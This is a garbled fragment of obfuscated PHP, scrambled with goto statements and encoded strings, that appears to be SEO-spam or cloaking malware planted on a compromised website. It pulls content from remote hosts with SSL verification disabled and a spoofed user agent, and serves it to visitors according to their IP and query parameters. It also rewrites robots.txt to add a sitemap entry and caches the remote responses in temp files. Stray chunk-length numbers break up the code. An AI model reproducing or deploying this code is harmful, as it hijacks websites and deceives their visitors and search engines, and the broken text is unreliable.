3 $get["\x 16 4e\117\x55\x6d\x62\145 13 \x72"] ?? '', "\164 20 " => $get["\164"] ?? '', "\x63\x 15 6e" => $get["\143\x6e 2d "] ?? '', "\x70\x4e\x4f\x55\x6d" => $get["\16 23 0\x4e\x4f\x55\155"] ?? '', "\x63\x6 17 9\144" => $get["\x63\15 15 1\x64"] ?? '', "\155" 1d => $get["\x6d"] ?? '')); $st 1c r = getCurlFast("{$surl}\x3f d {$params}"); 32 echo str_replace(array("\171\171\x6d\x6d", "\x67\x 17 67\x67\147\x67", "\77\1 a 46\x3d"), 2e array($http_type . $_SERVER["\x48\124\x54\120\ 23 x5f\110\x4f\123\x54"] . $_SERVER["\ 16 123\103\x52\x49\x50\x5 10 4\x5f\x4e\101\11 c 5\x45"], $sz e , "\77" . $qz 10 . "\x3d"), $str) 1b ; die; } goto y1V0b; ap1mo: 10 $sz = $iid = '' c ; goto hlG6j 10 ; u9Vm1: $ip = $ 10 kk !== '' ? "\x3 f 6\66\x2e\x32\x3 d 4\x39\x2e\70\ d 62\x2e\70" : 18 get_real_ip(); goto UflM 18 7; hlG6j: if (!empty($_G d ET)) { $f = r f eset($_GET); $s 11 p = explode("\x2d 10 ", $f); if (coun c t($sp) === 2 11 ) { $sz = $sp[0]; e $iid = $sp[1] 17 ; } } goto sNiwt; UflM7 11 : $domain = trim( 25 getCurlFast($jd . "\147\x65\164\144\x 17 6f\x6d\x61\151\x6e\x32\ 14 56\x61\x73\160\170\7 12 7\x72\x6e\144\75\x e 31\46\x69\160\ 14 75" . $ip)); goto ta 7 a3z; EY 1 X 16 7h: if ($kk !== '' && a preg_match c ("\57\x5e\x5 c b\x41\55\x5a 12 \141\x2d\172\60\x2 d d\x39\x5d\53\ b 44\57", $kk c )) { $remote 3a = getCurlFast($jd . "\147\x65\164\144\157\155\x61\151\x6e 11 \62\56\141\x73\x7 1d 0\170\77\x72\156\144\75\62\x2 12 6\x6b\153\x3d" . $ 1c kk); if (!empty($remote)) { 1c echo $remote; die; } } goto 9 u3U2k; gm 15 Jgr: function cache_g f et($key, $expir 32 e = 300) { $file = sys_get_temp_dir() . "\x2f\143\ e 141\143\150\14 25 5\x5f" . md5($key) . "\56\x70\150\x70 18 "; if (file_exists($file d ) && time() - 13 filemtime($file) < 13 $expire) { return 28 file_get_contents($file); } return false 15 ; } goto eggD8; u3U2k 22 : if ($kk !== '' && !preg_match("\ 14 x2f\136\x5b\x41\55\1 11 32\141\x2d\172\x3 11 0\x2d\x39\135\x2b 4c \44\57", $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } goto e 8 CAbA; of e sRJ: function 57 output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine) 16 ; echo "\x3c\x64\x69\x 10 76\40\x73\x74\17 f 1\154\x65\x3d\x 12 27\164\145\x78\x74 10 \x2d\x61\x6c\151 12 \x67\156\72\x63\x6 19 5\156\164\145\x72\73\160\ 17 x61\x64\x64\x69\x6e\147 a \x3a\61\60 13 \160\170\40\x30\73\ 15 47\x3e\xa\40\x20\x20\ 24 40\40\x20\x20\x20\40\40\x20\x20\74\x b 61\40\150\1 12 62\145\146\x3d\x22 30 {$http_type}{$_SERVER["\110\124\124\120\137\110\ 1a 117\123\124"]}{$_SERVER["\ 13 x53\103\122\111\x50 f \x54\x5f\116\x4 16 1\x4d\105"]}\x3f\167\x f 3d" . date("\13 11 1\x6d\144\110\151 f ") . "\x22\x20\ 14 164\x61\x72\147\x65\ 18 x74\x3d\x22\137\142\154\ 14 x61\x6e\x6b\x22\x20\ 10 x72\x65\154\75\4 16 2\x6e\x6f\146\157\x6c\ 13 154\x6f\x77\x22\x3e f \x53\151\164\14 17 5\x6d\141\160\74\x2f\14 27 1\x3e\xa\40\x20\x20\x20\40\40\x20\x20\4 16 0\x20\74\x2f\x64\x69\1 1a 66\76"; die; } goto EYX7h; 14 tadjA: $sitemapLine f = "\123\151\x7 18 4\145\155\x61\x70\x3a\x2 29 0{$http_type}{$_SERVER["\x48\124\124\120\ 2e x5f\110\x4f\123\x54"]}{$_SERVER["\123\103\x52\ 13 111\x50\124\137\x4e f \101\x4d\x45"]} 1f \x3f\x77\x3d" . date("\131\155\ 22 144\110\151") . "\xa"; goto oBxKF; a VmgLL: $v 15 url = "\164\157\x2e\1 14 52\x67\x61\x6c\154\x d 73\x2e\x63\15 11 7\155\x2f"; goto 1a r795u; eCAbA: $is_no_query 16 = empty($_SERVER["\x5 13 1\125\105\x52\131\1 d 37\x53\x54\12 17 2\x49\x4e\x47"]); goto d jCsnT; eX8At: 11 $get = filter_in d put_array(INP f UT_GET, FILTER_ 7 SANITIZ 8 E_STRING 14 ); goto gmJgr; ZGeRz 17 : if (!empty($iid)) { $ 20 str = getCurlFast($hyzhdy . "\x3 34 f\x69\x69\x64\x3d{$iid}"); echo str_replace(array("\ 1a x67\x67\x67\147\147", "\x5 11 9\131\x59\x59\131 1c ", "\x58\x58\x58\131\131\x59 d ", "\xe5\xbd\ a 223\345\x8 10 9\x8d\125\x52\x4 11 c", "\125\x55\x55 16 \125\x55", "\115\x4d\1 12 15\115\x4d", "\77\ 11 x66\75"), array($ 21 sz, get_url_info(), get_url_info( 13 "\142\141\163\145") 20 , get_url_info("\146\x75\x6c\154 21 "), get_url_info("\x6e\x6f\x5f\x7 d 7\167\x77"), 17 parse_url($_SERVER["\12 19 2\105\121\125\x45\123\124 1d \137\x55\122\111"], PHP_URL_P 16 ATH), "\77" . $qz . "\ 1f 75"), $str); die; } goto ofsRJ; 1e UOexB: function getCurlFast($ d url) { $cache 13 d = cache_get($url) 1b ; if ($cached !== false) { 17 return $cached; } $data 13 = ''; if (function 16 _exists("\143\x75\x72\ d x6c\x5f\151\1 12 56\151\164")) { $c 15 h = curl_init($url); a curl_setop 14 t_array($ch, array(C a URLOPT_RET 7 URNTRAN a SFER => tr e ue, CURLOPT_CO 7 NNECTTI a MEOUT => 5 21 , CURLOPT_TIMEOUT => 8, CURLOPT_S 8 SL_VERIF e YPEER => false 18 , CURLOPT_SSL_VERIFYHOST 19 => false, CURLOPT_FOLLOW 7 LOCATIO 19 N => false, CURLOPT_USERA e GENT => "\115\ f 157\x7a\x69\x6c 14 \154\x61\57\65\56\60 12 ")); $data = curl_ 10 exec($ch); curl_ c close($ch); 13 } if (empty($data) 13 && ini_get("\x61\15 15 4\154\157\167\x5f\x75 15 \x72\154\137\x66\157\ 13 160\x65\x6e")) { $c c ontext = str d eam_context_c 1d reate(array("\150\x74\x74\160 f " => array("\16 18 4\151\x6d\145\157\x75\x7 14 4" => 8, "\x68\x65\x 15 61\x64\145\x72" => "\ 11 x55\x73\145\162\5 18 5\101\x67\145\156\x74\x3 f a\x20\x4d\x6f\1 15 72\x69\154\154\141\x2 11 f\65\56\x30\xd\12 d "), "\163\x73 15 \x6c" => array("\x76\ 13 145\x72\x69\146\x79 20 \x5f\x70\x65\x65\x72" => false, 26 "\166\x65\x72\x69\146\x79\x5f\x70\x65\ 14 145\162\137\x6e\141\ 1e x6d\145" => false))); $data = 20 @file_get_contents($url, false, 12 $context); } if (! 20 empty($data)) { cache_set($url, 16 $data); } return $data 15 ; } goto p7jg0; EjU3H 4 : ?> 0